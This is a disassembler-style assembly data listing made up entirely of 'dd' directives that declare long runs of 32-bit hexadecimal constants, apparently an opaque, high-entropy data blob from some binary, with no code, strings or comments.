		dd 685777CEh, 58249DDh,	2387511Fh, 0D59C5B98h, 0C3ED4D86h
		dd 0F135BDAh, 0DD3E5600h, 64D06CA1h, 7509374Eh,	3B1147ADh
		dd 542B59C6h, 2EC6EF5Eh, 0E3F867E5h, 0C4F6A535h, 0F7DA6C68h
		dd 566AFBC9h, 7DEA226h,	0DF7FE9ECh, 91A21411h, 15228B66h
		dd 0E16787D7h, 0FB286455h, 7A27D1F6h, 0FC596B12h, 0B401CED4h
		dd 0D4059CFFh, 3EEE57F2h, 1760DB49h, 0EFFF0F75h, 0DCBB05C6h
		dd 9ADBE7C2h, 4DC191CAh, 4FE1B936h, 91F7FD84h, 9D7F15D1h
		dd 87C37B2Ch, 7794E65Ah, 97DE9BB3h, 0D49232ACh,	0E4752A57h
		dd 0CA1542B3h, 0F91FE46Eh, 65D04FC3h, 7A6A9432h, 0EF163AC2h
		dd 4D37C623h, 0A7D768E2h, 0FF4935C8h, 92852A9h,	70DC189Ah
		dd 298934C5h, 1A6DFC91h, 5AEDD2EFh, 0DC28FF83h,	78AA5D7Ah
		dd 0A1BDB0BCh, 907CE385h, 7B098844h, 0C4A0B9DCh, 3240CBE9h
		dd 0E5192FEFh, 0FB1DBF6Fh, 0DF749B0Ch, 0D9577900h, 0B021FD48h
		dd 0E2F09D09h, 3C77ABE9h, 0CCE63ABAh, 0A2725A88h, 77D614CAh
		dd 1E831CBFh, 0B732D38Dh, 5CB4E597h, 8AA9704Eh,	0BA931CF1h
		dd 1DD13112h, 87C43708h, 0CC50D6h, 0C9312333h, 278B523h
		dd 0D74E05E8h, 0AB109F09h, 88C51D09h, 906DCD95h, 63DC38Bh
		dd 0E75D77h, 3E6D98BDh,	0D48A1AE4h, 0EFBD3677h,	9837BEB2h
		dd 84EBC011h, 0D33AE57Ah, 0B45608CAh, 3CEC1FCDh, 0C3DCDF29h
		dd 70A3D1FEh, 0F4CD29C9h, 0F14ED4F5h, 4F153ED4h, 5429A415h
		dd 4C6CFDECh, 5EE573A1h, 0EB86346Ch, 3CFE43FDh,	3F3F5F98h
		dd 68F4B376h, 0A06C77C1h, 107ED2D4h, 73C1440Fh,	70FBB3C0h
		dd 4C0EB0h, 885B1849h, 7934067Fh, 0B9513C7Ch, 1DCE91CEh
		dd 24ED0B9Bh, 9B927EC0h, 6C6B84FDh, 0F6DAE2A8h,	0E3699EC6h
		dd 502F5680h, 78D4CA63h, 0F6BC973Ch, 9F4EB0DFh,	40F1FF40h
		dd 5CCB16F7h, 0D320100Eh, 6ACAC06Ah, 85A46A4Bh,	2FF7FF4Bh
		dd 0EF905A9Eh, 161DB051h, 70B21D77h, 1301A03Ah,	1E47D6D6h
		dd 962C990h, 0CD479146h, 939CF06Eh, 53DA705Ch, 68EF31F4h
		dd 0E3F49344h, 3CB53A06h, 174E2615h, 0D435FC12h, 1554CA79h
		dd 6987DA9Dh, 6B49D6B5h, 7DF49C54h, 0E31DF72Dh,	0DB26CDB0h
		dd 7BB9CB58h, 0E819FB92h, 0F2D8B1F2h, 0CFCF71BDh, 889570B0h
		dd 0B55CB6F1h, 0BF8F2Fh, 0BB6B6EDEh, 0DCB48D01h, 696A6CACh
		dd 0C0909B7Ch, 31EC3AA5h, 2ED53859h, 0FE6105F7h, 6C5C69B0h
		dd 874422D5h, 4836E40Fh, 0BF3C7D6Ah, 0A8B28640h, 79BFE0EDh
		dd 7CB46C7h, 18B53F52h,	62B3E5FDh, 2CFA05ABh, 0DDCE3DD2h
		dd 109BC381h, 6B50C8C9h, 0D9E6029Eh, 0A3CF5196h, 2D0D3636h
		dd 1201B09Bh, 2D9A134Ah, 28EC6C14h, 0E4C7813Eh,	0DD8232D0h
		dd 0CA560300h, 9A8F1731h, 8F9328E4h, 1455727Dh,	75C407F7h
		dd 0FC5A9AAAh, 0E3CBCDC0h, 0E1B6C2F8h, 50C08B07h, 5AAAA3EAh
		dd 4DBA0A7Fh, 0FCCA7912h, 4048ADF3h, 43B6F30h, 8962969Dh
		dd 0AE1AA845h, 0DF9218FBh, 37D609AFh, 0DA17F4Fh, 11CE63B6h
		dd 0E5DFB7ABh, 7DA6F14Eh, 4AA34711h, 78A54535h,	30EC55D6h
		dd 0B9EC189h, 0A1180A81h, 0C8D9A088h, 1155B2Eh,	1DCBF14Ah
		dd 0A4C2661Eh, 9BE9DEFDh, 73BBFEF4h, 0A01B3F58h, 80AE8E5Dh
		dd 0FFA7D445h, 4BA1CCFCh, 96D24EF7h, 45A991C7h,	9708B1A2h
		dd 5317149Dh, 9F030FCDh, 6C951B4Dh, 0C8D5ADB5h,	0F906748Dh
		dd 132BF534h, 5B27EB93h, 0F2553F70h, 6426505Dh,	0BC96494Eh
		dd 4580085Ch, 0D3C632DCh, 44F61B77h, 21AD0C1Fh,	0BAF5C959h
		dd 0A6DD6C4Fh, 0A69FDB70h, 93E87CF3h, 0FE4B7A01h, 4993C7D2h
		dd 2E0A8930h, 7E704288h, 0E9657AD9h, 0DAB0C4E8h, 0C4CD1B56h
		dd 0B54D206Ah, 1097EEBFh
		dd 0A68314AFh, 0E481A3B7h, 0D833F3DAh, 0EC381389h, 0C2F83CDDh
		dd 974599D5h, 1D930B32h, 78FB3028h, 0AFFACD67h,	0A006A749h
		dd 5A15736Ch, 43931700h, 6B28AC09h, 3DC7445Eh, 0F1C2F4ADh
		dd 168CFFF7h, 53F3236Dh, 3DD97656h, 955DF14Dh, 549CB8CEh
		dd 2F899A63h, 0D595D2CDh, 5169F00Ch, 0ADA7794Ah, 0FD6244FEh
		dd 10CA9C74h, 0B3ACA97h, 4465D39Fh, 0FF38D0A9h,	0FE81E7FEh
		dd 0C96315C9h, 1C436C60h, 0BC6EFA2Ah, 0FCF8182Eh, 0C8BA0607h
		dd 4D8B7B7Bh, 52B1CD16h, 0CFE017F6h, 0CB8E9051h, 398DC4C9h
		dd 0EFD3405Ah, 4C55D12Fh, 0AC96024Ah, 671F6493h, 0FB1C1005h
		dd 0D3FD762Dh, 0BCA27DB9h, 767F1AFFh, 9FD410E6h, 0A60387BFh
		dd 50038C7Eh, 804DBB28h, 1F057504h, 0C8E26B9Ch,	1AB7BACh
		dd 0A808C16Bh, 9326281Bh, 50AFD889h, 0C3F2E639h, 9E3402A9h
		dd 0D3646C00h, 8567AB11h, 0AA535DFDh, 3FDE875h,	0BDC96183h
		dd 0A751D75Bh, 83CE6881h, 83187517h, 515B2C23h,	0BBB10E49h
		dd 0D30EC510h, 61D95075h, 698F068Bh, 0C0A5002h,	722A784Ah
		dd 0E05F641Eh, 0ACC06F48h, 0E58B6490h, 0A80D08A4h, 0C570D4E3h
		dd 0E2A78D67h, 0AE5A64BAh, 0F731AC3Fh, 0C9B7ECF9h, 6DAA44Ah
		dd 4829C5B3h, 3232634Bh, 7E6A5CABh, 79A26661h, 5C592053h
		dd 4E7D8F8Bh, 0A9F8C898h, 71E73FEBh, 46676F26h,	4ED9E8C3h
		dd 0E5DA74E7h, 0EA5D9149h, 7B526102h, 3171ED98h, 0B3D2427Dh
		dd 85EFC0CBh, 0FB02FD20h, 50F2D36Ah, 9AF87C57h,	0F5769C0Ah
		dd 0B9B825CCh, 3570289h, 0FE3B5074h, 0CB67789Fh, 0AD0541h
		dd 813D65D2h, 0F3875CB6h, 0D87B5418h, 0BB9A6C5Ch, 44F2EA12h
		dd 770EEA33h, 0C90A0F3h, 0AF7ACA15h, 50B59593h,	98B19B24h
		dd 0D5CB233Bh, 0D4891368h, 18874A57h, 0A4726DF9h, 0ECF47FFAh
		dd 6B24041Eh, 6DD30E21h, 7C233ADCh, 29C2A11h, 0CAB9C106h
		dd 157AF7h, 0F33DFABBh,	36807E5Dh, 0F98552E9h, 0D9A3E2BCh
		dd 0FA7BF644h, 54B41740h, 9705BFDDh, 0B020410Ah, 0FD161D93h
		dd 9CFE260Ah, 3DA30935h, 7F9138F1h, 8592691Ah, 7C3B07DCh
		dd 0BCB14245h, 52CF5759h, 38BD5249h, 0DC061D5Dh, 41D2F5B1h
		dd 536D81E2h, 1396BC33h, 0A9EDB62Bh, 0C1111D57h, 0BB4EA6ACh
		dd 91E18970h, 0A97B387Ch, 0BA13D5C6h, 0D8DB6F37h, 0D945BFBAh
		dd 5C7EE28Dh, 5E9EE023h, 8A732AFDh, 15F31435h, 7DB98C57h
		dd 72CBAB5Ah, 21474BD7h, 0BE44222Bh, 6B587968h,	0F8DE6494h
		dd 0F334E350h, 0F432079Fh, 0F9AC1198h, 3620408Fh, 0A7929B90h
		dd 1790337Dh, 1881BB41h, 6BBE3FCFh, 550F4161h, 97B36D14h
		dd 7F1BA0FEh, 0CF91A287h, 5CB1A074h, 3272731Bh,	0B40BD61Dh
		dd 0F262ABDh, 20525307h, 0B5B977C5h, 0E6586AD1h, 0D60FD535h
		dd 5E2CB6AAh, 9A88CDCEh, 14E5899Bh, 9A862CE3h, 23CEE432h
		dd 3FA1595Dh, 37A00ED7h, 3C184509h, 8AF4DB1Bh, 1EC7FC2h
		dd 0BFE3DCB5h, 4B6F5C61h, 1F1C864Bh, 0E123B226h, 89B503FCh
		dd 8398BCB1h, 65623D3Ah, 6D41DEB1h, 2A107782h, 0F93350F3h
		dd 9E8507DCh, 0E32021CAh, 0D30D88DBh, 0E15403CAh, 729EEB2Ah
		dd 7C36FE2Ch, 47868355h, 86224A84h, 30B52255h, 8DDB810Ah
		dd 4A568037h, 0E09DF21Dh, 715624B9h, 8044DC61h,	0A79B11A2h
		dd 0DF83D43Bh, 0DD895872h, 3D748001h, 207BDEB3h, 0B5365360h
		dd 0D0B6F05h, 4CF40F44h, 2896E492h, 7080509Ah, 5C751879h
		dd 12081B47h, 0C24FC6D0h, 5E270ADBh, 39190A33h,	60A63D2Bh
		dd 0EFE3599Ch, 0E5DCB98h, 0CCDB5D5Fh, 75C69AE9h, 76547CA1h
		dd 0DE0FB177h, 0FB933AF8h, 0CD6E11D8h, 0C6B12BD8h, 85C9D8A9h
		dd 0C0FFF23Bh, 2938B843h, 0B77CD54Fh, 0C5118ECAh, 4A1E0381h
		dd 971013C3h, 0B3013832h, 0DFB2EACh, 92016BA4h,	0B253C595h
		dd 0C49EE8BDh, 62E22670h, 93621659h, 0D83D5014h, 0E3A778DFh
		dd 0F2C10E70h, 0EDC921B2h, 4DCC2D3Fh, 4562F361h, 577A5FDDh
		dd 0BD2113ECh, 9B065213h, 0F699D936h, 5D88D7C1h, 34F325E4h
		dd 0D42C0D7Fh, 0B5AE6BBBh, 3585A849h, 2DCEC26Ah, 3AC8A91Dh
		dd 0BEDF0456h, 260DEBE5h, 6CFF4197h, 0D04E9871h, 6E5B91B3h
		dd 5F65D9B4h, 974893FAh, 44B433A8h, 0D013CEF6h,	0E4CAF594h
		dd 75C9D68Dh, 0E3B32225h, 3FF43200h, 15855D6Ch,	16BB03DDh
		dd 8A3061Ch, 2AE1F9D9h,	11648D60h, 9E894FE6h, 3B95CD1Ah
		dd 5B0CFC0h, 0C1A8B6CFh, 5D0780D3h, 0ED200B7Ah,	0FE991B7Ah
		dd 32B27EDh, 1B219587h,	1A8D3408h, 90861A4h, 0FD1E9415h
		dd 2B1A253Fh, 0BDEFB269h, 0EC6B9DB3h, 69FAC131h, 6F61D94Bh
		dd 0D19945F1h, 2BC192FAh, 0C544BB88h, 655DE07Bh, 173ACC56h
		dd 0EA8290F8h, 3D2D5A7Ch, 0BAB3C074h, 2A04C672h, 9BCA0858h
		dd 0CBDA7286h, 0FBAAA5ECh, 0DA166DD8h, 7971553Bh, 47F2877Dh
		dd 85A74CB5h, 36E871CEh, 75B473DAh, 0FFF3B691h,	5343FE98h
		dd 7621CBDAh, 0B1D8E6D5h, 0F50E17ABh, 34C44C1Fh, 9B8E63D7h
		dd 8AEE86C5h, 299394h, 0CA1AD44Fh, 0D0B8FA01h, 26009D42h
		dd 0D6664554h, 0C3037192h, 0EF1A6B54h, 0BF72CC0h, 0E7FDAC19h
		dd 9A0AD102h, 18E4310Eh, 6F496520h, 1360CE9Ah, 0C771454Dh
		dd 86033528h, 232E9A70h, 4D3DA4FEh, 7429B638h, 83A02977h
		dd 2DA9BCEFh, 912B5251h, 0DC2AB08Fh, 0E1A68D85h, 0FA58587Dh
		dd 0AC113571h, 0BD1F8902h, 5066262Fh, 7B8EB0DEh, 34539696h
		dd 8E20CFC8h, 0AE9EA427h, 0A2DAB2A0h, 528E31CBh, 2B2D8ACAh
		dd 4F81FD46h, 98E70B29h, 7DE920E4h, 29CC587Dh, 0F2379148h
		dd 71EA69D1h, 9CF9B0DDh, 0E56ABDEFh, 7DE7820Eh,	1C060D68h
		dd 0E9A01325h, 3C81F5BFh, 82BCFA41h, 90ED05E8h,	77E4FC7h
		dd 713D4446h, 6F306FE7h, 0A61F88CAh, 53BC0EC6h,	0D4CB4046h
		dd 0A9D97F33h, 3831C2Ch, 441C0C99h, 8C8DD459h, 0BF65AFBFh
		dd 0F0DB772Ah, 5A6BB3EDh, 0BCDD77D0h, 7C1D9ADAh, 0DA230505h
		dd 0AA291C15h, 9C4D2F5Dh, 3E64ECFAh, 6145D84Ah,	0CD73BB24h
		dd 0B5061222h, 2A1F169Dh, 32C49E49h, 538E7E1Fh,	50CE33AEh
		dd 9B241446h, 0F5EB6867h, 3582F3DAh, 0FE087CC3h, 0C47A5104h
		dd 0EEE673F9h, 0B6F6BDABh, 0D9589CD6h, 0DFE4AD65h, 0D2005416h
		dd 507ED630h, 5621AFBAh, 0C38B404Dh, 5D1D811h, 75BD8E4Fh
		dd 0AAA29652h, 0DB197BC3h, 19D0CE48h, 46CBBC9Ah, 1C1B7E98h
		dd 6D4B70CCh, 84EC8B6Dh, 613C78C2h, 0C73DEFF7h,	8459F1A9h
		dd 30A209DCh, 0A3A3173Fh, 6EA9EDD9h, 0B6C6E7C9h, 13306CF6h
		dd 7AF7B050h, 0A1E60ED9h, 24E6CC6Dh, 2BB0D457h,	542287A9h
		dd 463550F9h, 0CB7939Ch, 0EC249CA2h, 0D6EDADA2h, 6F2D7E27h
		dd 5112E796h, 9A52DFB1h, 67CCCDF4h, 53F1CCB8h, 4ABFBE2Ch
		dd 54DFF4ABh, 0D6E845Fh, 0FE010E5Ah, 0E0ED6806h, 5150CB55h
		dd 0F2032767h, 4DAE4ECDh, 0F769A5Ch, 17FFBF8Ch,	0F6087A1Dh
		dd 9AA913B2h, 0F9F558C7h, 96CC4197h, 0B7D9494Eh, 671ECE37h
		dd 413B6089h, 302DEC58h, 0E37255CDh, 75514516h,	966C270Dh
		dd 29CC39C0h, 4DC8BEBAh, 0FF477391h, 903A59A8h,	0CE83F6D3h
		dd 0A2D32093h, 0FD4DCAD6h, 0F2DC3BE3h, 577F3B6Ah, 5F3221C9h
		dd 652B7758h, 8F4EEF26h, 141CF008h, 0BCF1A83Bh,	5DACC166h
		dd 35244FE9h, 0B5F1A8C1h, 2AE4EE45h, 0E26B270Ch, 0E17F29EDh
		dd 43198151h, 0E6353CC9h, 45FBF678h, 0B358B540h, 0A8E502B7h
		dd 0BA050F40h, 76906873h, 7A0BF4E8h, 327AAD4h, 15C5DE32h
		dd 0BE555ED1h, 7621FEF8h
		dd 9DA31DAEh, 85EC189h,	16DF1444h, 78216D72h, 4C9BF23Fh
		dd 0FFE6DF6h, 11362659h, 0BFE8A5B1h, 53C859B5h,	505946C3h
		dd 332E5E1Dh, 0FAE6F3BCh, 2858320Eh, 23B24D89h,	7D29948Dh
		dd 7AC0D888h, 6A20910Ah, 0ADB36503h, 0BDDD4562h, 983169Eh
		dd 646E854Eh, 3741E3E8h, 63CA4C13h, 4FED002Eh, 0AC711DBBh
		dd 0B5FF09B4h, 801B2D58h, 0E81DB742h, 0BA85EDA8h, 6C600298h
		dd 24DCCBF4h, 0EF19490h, 5A27108h, 8A4BBA40h, 4781E98Ch
		dd 36A5DA9h, 6B575074h,	2CCA690Bh, 5121C0E6h, 993F21FFh
		dd 91DF848Fh, 91A415F5h, 32957C42h, 4E2FB7ADh, 0A5103770h
		dd 252E5D4Fh, 96DDE94h,	0A9523387h, 0BE2F3D60h,	879956BCh
		dd 561686A1h, 9462D07Ch, 8CBD1E46h, 0E4FB16FAh,	0C769D8EEh
		dd 7ED6A107h, 277E437Ch, 8988A1ADh, 8AB1C270h, 75D8D9D5h
		dd 326D327Ch, 8717DAB8h, 81A5C186h, 840A2B55h, 799F2118h
		dd 0F00F25C8h, 0D7DD8AD3h, 9386E68h, 7F3A3D36h,	0F8D74207h
		dd 0D082F441h, 13772B17h, 896A863Eh, 11FE9F79h,	0AA205EA0h
		dd 0E4C91889h, 0F09A24A7h, 26650E7Fh, 0E9E530C8h, 0D395A136h
		dd 0FFCA4242h, 0A5D00273h, 959B6FF6h, 0A4DFE6B8h, 0AC7903F1h
		dd 50781BDFh, 399EC726h, 190A0F6h, 8C7D6DE8h, 3263F552h
		dd 0F977AFC7h, 1EEFBECh, 9BC3BA5h, 7945FEA6h, 6389C935h
		dd 0D9F5EBA2h, 3ABC1970h, 0C4964E8Fh, 5BE9956h,	0E99FCA5h
		dd 5B31155Bh, 0AF8B217Eh, 5BC9466Fh, 0F2DC3728h, 425D02BAh
		dd 0B36600FDh, 2CDF7696h, 0BE5C7058h, 14AE2726h, 0A28C2115h
		dd 4AE642B1h, 0C82B5867h, 0D867EF23h, 0DBE85A39h, 2F105BAEh
		dd 1DB2ADBCh, 536E6BBDh, 0E377195Bh, 512BE0A3h,	365FB5E6h
		dd 0D87A0EF4h, 8F8BA8C2h, 244671Ah, 664E7C3Bh, 0E4DC5437h
		dd 0CEACC04Ah, 667F13A0h, 66C0EED0h, 0CA221B25h, 0A9C90CFCh
		dd 82BF4173h, 0FF6C63ACh, 7D8D2F1Bh, 97B6F25Bh,	0C61759E4h
		dd 0EBA3E152h, 5E82BA01h, 0A639BE45h, 0D1518658h, 38D312E3h
		dd 44AC041Eh, 0EF15EE5Fh, 367F9249h, 0E0C0B28Fh, 0F42F1F2Ah
		dd 8BE2B909h, 696A2DABh, 1AB243C7h, 0DAB01271h,	0FD3AE8C2h
		dd 2667938Dh, 9997A44Fh, 97AC906Ah, 6DC0660Bh, 11B05F5Ah
		dd 382CB6D9h, 3B016445h, 0DCDF36D3h, 5FE0F921h,	2F069117h
		dd 39818AD2h, 8A59F4EAh, 0A0699E35h, 73FBB10Eh,	77E5ECC5h
		dd 8749E26Dh, 0ECDB06C3h, 1BF18F78h, 2559493Ah,	0B8C773BFh
		dd 45FC0A2Eh, 1CCA8E73h, 36ED7339h, 8D2661B9h, 22BBFE32h
		dd 0C7C58681h, 8731182Fh, 1F744889h, 29DDA680h,	0D28EC798h
		dd 18AF0A86h, 99B3519Eh, 0F027DA0Ah, 0DDB3C1F9h, 99773ACAh
		dd 28B8A31Ch, 0A09988A0h, 0CD798A17h, 381B17E8h, 5B084A28h
		dd 62E63A9Dh, 45B69EC1h, 471BCECh, 0EE8ACFDh, 0BFBBBC5Dh
		dd 8A6FAFACh, 0A9D61429h, 89D15DA0h, 7E2017F6h,	6C1C1DE7h
		dd 82B8CB40h, 6FB29A74h, 410DF5B8h, 8CA50B77h, 36FC850Fh
		dd 799E26Dh, 538C44B9h,	0BABED7EFh, 0D085EFB5h,	0AEBDB785h
		dd 0EEC601Ah, 0B0779893h, 890B8A4Bh, 0A6F1FA1h,	0CB8755B0h
		dd 136306C7h, 41A5FC11h, 0E2C81E1Ch, 0EC87170Bh, 33B77E86h
		dd 4D12982Fh, 0F06D08A2h, 0D6D19286h, 9525D827h, 0BB86100Eh
		dd 9F4FDB45h, 0EE34A13h, 0B1DEB294h, 0D179367Bh, 4D6CB474h
		dd 4312D2AFh, 5AF8573Fh, 0B9676195h, 0FAEE71EFh, 0E4F06D50h
		dd 1C0F89D4h, 699C86CBh, 0A67D6C9Fh, 0EEAFCA95h, 1B2CF6CAh
		dd 0AD4FE3A6h, 83B2D9ADh, 2DC9285Ah, 200F200Bh,	1DDE638Bh
		dd 16F46E3Ch, 7CD02E61h, 86E0A649h, 9F70D350h, 0E87FB69Ch
		dd 93494766h, 3B3582F1h, 0A68C30FAh, 0D600C634h, 1313AFA5h
		dd 46D44AF9h, 2AC44240h, 0ABB41D05h, 383E4D8Ah,	9BC97E8Bh
		dd 15953C32h, 0ED3EDE33h, 2D25FBBFh, 98EFE806h,	0EA9BCA45h
		dd 0F56604A0h, 2E232B03h, 0AA33AE01h, 937E1160h, 3FD9D4D0h
		dd 6067EDC1h, 0E00693FDh, 27723CF1h, 0C963C8C4h, 0A390530Eh
		dd 7E4981E5h, 0EC5F3ACDh, 3C6C0465h, 7AE59287h,	0BC88D0C2h
		dd 0D05439FBh, 7D388A83h, 85AB72BBh, 0C73D4821h, 0BBD390FDh
		dd 32FBB767h, 0F87895E1h, 29D93A7Eh, 0F2C7C7FEh, 0DEB4C317h
		dd 43F797F1h, 0C5DFAC1Dh, 23E94145h, 936BA087h,	3CD355ADh
		dd 0E826CA84h, 0C5192359h, 52155C55h, 22DDAEB7h, 7334A59Ch
		dd 0CBA704FAh, 9D5C8476h, 26CB3F04h, 1DC76A45h,	0DF9583E4h
		dd 0F774B9E3h, 0DDE4CBD5h, 562985C7h, 0F6910E07h, 39FDDFFCh
		dd 1BE36453h, 570E8FF0h, 44F3A931h, 0EC06BA13h,	85F2442Eh
		dd 7AE4C2C9h, 0B49DA461h, 0B4F14B8Fh, 5CF293DDh, 0E9CAAB17h
		dd 3E1C7EC9h, 77E754D0h, 94F8393Eh, 7254A382h, 0B9087F7Ch
		dd 37196C55h, 0C52F4606h, 0B51B8CA7h, 454CA970h, 7EAF1D71h
		dd 9BEFA400h, 17A88D8Eh, 72082F57h, 0FAA5FA97h,	578C527h
		dd 5923335Fh, 792AE6B3h, 28B6AD8h, 0BA13D42Eh, 0CAE51F37h
		dd 0DA610F51h, 0B1B91584h, 7CD99253h, 0E63129Ah, 72C1EB0Dh
		dd 7F4D0C72h, 0E257A64Dh, 0B91D7FE6h, 9EA2030Dh, 0C06EF90Eh
		dd 3140F6B1h, 0B8018829h, 0E35A9C63h, 0D804CF92h, 0AE869CFCh
		dd 0E9A2F86Dh, 96ACC3h,	2063690h, 0E3AA9617h, 0D47536FCh
		dd 6113FFC1h, 0A2A806A5h, 8BEA4FCDh, 3300EC55h,	0CFF537C6h
		dd 216EE792h, 6386E13Ah, 0B7B18D50h, 2FB62577h,	0E9D419FAh
		dd 8E9A01C6h, 0B44B2BC0h, 522E98Ah, 0A97E988Ch,	3BC48AC8h
		dd 182636A2h, 0B88E6069h, 7C14BD4Ch, 0F66A548Ch, 0B1530304h
		dd 84A51F84h, 0E7908B04h, 4F85D63Eh, 67E0BB27h,	0E14ADE01h
		dd 0BE57AAE0h, 942223Fh, 0D4EB51E6h, 0A1D0EDDBh, 8C8042CAh
		dd 58742557h, 0A3631076h, 7D0796CCh, 173DABA2h,	72E06950h
		dd 0E1606AC1h, 265DC60Dh, 0BDBDE9D0h, 2311D789h, 43CBB9E3h
		dd 783504BEh, 0CFF80C62h, 14B1B7EBh, 6E2C3525h,	92364C2Dh
		dd 8E1EBCDCh, 421D237Eh, 0D77464AEh, 0D810BB86h, 7DDEDA37h
		dd 47D170DAh, 40C6FCFEh, 2A7443F2h, 893A188Dh, 0F4DFCDB9h
		dd 2A36CDA6h, 0B97E1252h, 6263ED07h, 16DA9A25h,	0D61E6F13h
		dd 653096Bh, 922535A5h,	4AE7280h, 36D8FF5Dh, 82F2F045h
		dd 0C2B5D5C3h, 0F15C0705h, 565315DAh, 58F24892h, 0C0F9CEEAh
		dd 0E6211EE0h, 982A228Bh, 3B0769BBh, 0D883F236h, 9A28EA95h
		dd 31991B3h, 2D8C8158h,	8D64F89Eh, 238BFDC5h, 4C09241h
		dd 20584864h, 0B60519D8h, 0A686F163h, 0A0B33A91h, 49C17093h
		dd 0A0FADDE0h, 40866117h, 0F2D60437h, 5EEDF89h,	2B79CF16h
		dd 979B4C6Dh, 0FB4DF891h, 0B54B3DA5h, 3E52ACF7h, 0A64F986Bh
		dd 564C797Dh, 1332149Bh, 29C7BCE4h, 4B874EEFh, 0EFE38EECh
		dd 30ECE8C3h, 9BB6678Dh, 0AC0FF143h, 0F0275C31h, 1F9D323Ah
		dd 0EC07BE9Ah, 20BFB416h, 1CAC88AAh, 96149A9Fh,	70770044h
		dd 0B42720B9h, 0F27ECEFCh, 0F262537Ch, 8931B2A4h, 9FDD6771h
		dd 0EEDE0949h, 7B74ED87h, 0F62BFFE4h, 0E0A31B2Bh, 87DA1843h
		dd 0FB418E38h, 755573E7h, 51D5BB2Eh, 1187BFC7h,	6132BF36h
		dd 85492C0Ch, 158FD8F5h, 57B0181Ch, 15624ABFh, 1B228A86h
		dd 0E7642DB7h, 3F8FEC44h, 0FA3439AEh, 6D93C23Eh, 6EDD7499h
		dd 0B09AAF41h, 79D48ED4h, 339664Ah, 0C03DC27h, 22801B60h
		dd 0B1062C01h, 9B3D031Bh, 0C6AB6A07h, 15D4EF72h, 7336D3A0h
		dd 0AF27E680h, 0AB37FEFFh, 8373A8F0h, 2132BE0Bh, 27086FA3h
		dd 0C5A125FCh, 0C68AF7BDh
		dd 91DB5678h, 5B74A738h, 3E375255h, 4AB49C92h, 16ACAC9Fh
		dd 0BD45E70Dh, 0FFA51F4Bh, 6A27CCDDh, 0E1EB49A1h, 8B85723h
		dd 74B342DCh, 9E65E6D7h, 0C4BDAB20h, 0A208ACF8h, 2DFD800Fh
		dd 1FCF3113h, 0B1EEF987h, 3BD041D0h, 0E328F36Fh, 33AC8440h
		dd 3EC20B4Dh, 44904A4Bh, 5BBB4F76h, 1646D88Fh, 883B5C88h
		dd 0AB01ED19h, 0B3BCA111h, 56CD08BCh, 78EEDEADh, 97CCBAA4h
		dd 0BE1B8D6Ch, 150A1F7Ch, 905900F6h, 0B745465Eh, 0A55B2884h
		dd 1952FBC8h, 521FD22h,	60566D42h, 0E2F22654h, 30533C45h
		dd 0ED617016h, 10089DE9h, 0AA76608Ch, 0A2FC8CDAh, 20C71E20h
		dd 0F6D8FE73h, 692E4727h, 14FA62Ah, 89DA5337h, 2BD0D3FBh
		dd 0C809B016h, 0C86A567Ch, 0FF13DE9Bh, 0E91E345Fh, 0AD8EF397h
		dd 35777E20h, 4E3A5D0Dh, 435772E8h, 750806F3h, 5BDD3FEEh
		dd 0A98DD5ECh, 4555FFFFh, 0FEF87ECAh, 0C8A7D395h, 0AB2D3DB9h
		dd 5CD2D0B8h, 41636EFBh, 25DE0F28h, 0AB19EFACh,	601008FAh
		dd 0E117257Ah, 0E798CB53h, 24F5F0C6h, 0BC82D7F9h, 0C9596A9Eh
		dd 3A5582CAh, 0A9F0757Bh, 6B82089Ah, 0D2CCC7B2h, 0EF8A71BBh
		dd 0E0ECC32Ch, 14D55EB5h, 0A5CF0909h, 17AA18B5h, 142A7CC2h
		dd 472525FAh, 271B904Eh, 0FF6A286Ah, 0F302B4EAh, 53F11868h
		dd 0F5724FE4h, 9F2B6F63h, 5ED1614Eh, 62F26C51h,	29A16EB2h
		dd 0A80CF11Bh, 70876F59h, 242DB04Dh, 5CC8B5DBh,	0D3CD74A5h
		dd 8F617876h, 2667A702h, 0E495EA42h, 3A622DC5h,	25B950E3h
		dd 8374CD32h, 0DB50DAC1h, 0AB480EADh, 8919B70h,	0A3C25CC9h
		dd 88870600h, 0D3CA8129h, 0ED13A8B8h, 6B83DCA9h, 97DE7BCEh
		dd 0D43A4537h, 295B4FA8h, 0ED6EC04Ah, 2091F82h,	8C9E0274h
		dd 0CBBE8995h, 0FCC4722Ch, 9F27406Ch, 60EC4946h, 0C68BE82Ah
		dd 26AD89CDh, 8CC6A6E0h, 0A93196B0h, 8EBD75E6h,	21F4D9h
		dd 8BF7623Eh, 0C05CDEBCh, 0C977DEAEh, 73DDBD89h, 0BC5C777Ch
		dd 55773C1Bh, 3141ACB8h, 0CB1B3A95h, 549CF934h,	0E4F7970Dh
		dd 0EF79A83h, 0AEE27AB5h, 0BA1D5741h, 37C17705h, 0A4774303h
		dd 88C9DDACh, 0DB5D0BEh, 0F0D84F77h, 9CF6D9F9h,	0C514ECBBh
		dd 0BC9905AAh, 0F2708262h, 0BED629F7h, 49580A9Ah, 6B40EB82h
		dd 466C8B59h, 0C0A3F307h, 942303D0h, 7B810980h,	0A5130070h
		dd 824B993Ah, 0F35066DFh, 4B241744h, 2F7EFA30h,	4F153CA6h
		dd 0D81077CDh, 0F9EB5009h, 0ED20D153h, 787D3807h, 0BF58A193h
		dd 3F0876BBh, 0B13234Ah, 0D7A09C60h, 60DC2094h,	0BC15424Dh
		dd 83B8C571h, 5F8C498Dh, 9FE7D1B8h, 3FD36338h, 0CDCE9BC2h
		dd 1975402Eh, 46A47D21h, 4002497h, 0BC0529AEh, 59276CF3h
		dd 0FED87BE4h, 780744A8h, 5AB9DDACh, 2AF88C91h,	0DB595E8Ah
		dd 0B8B9F29Fh, 0C5417AEEh, 97A72E2h, 0F6FD4EC7h, 599D98Fh
		dd 9C7E160Ch, 0CD2FA505h, 67B0B08Eh, 25E652C3h,	34AF42CBh
		dd 0BDBCB844h, 9ABEE49Bh, 9199E4B0h, 937274FAh,	0E6057B43h
		dd 55ADFA69h, 0AF5F1BB9h, 472B2882h, 0FE7DF33Eh, 673D5D57h
		dd 2743B794h, 7071B5E1h, 0A2947818h, 8309102Ah,	0C2D342DAh
		dd 2D20C148h, 74716279h, 1635F3F2h, 6DB65624h, 0BFE300C9h
		dd 1217C06h, 0A327CA2h,	99F8F918h, 4FE9B710h, 4C99E6FFh
		dd 1C35FB4Ah, 9D501E73h, 0D9358352h, 8C10704Ah,	0FD257A98h
		dd 4F83F7E1h, 35B81832h, 4F16F08Fh, 948AF812h, 0D4E98858h
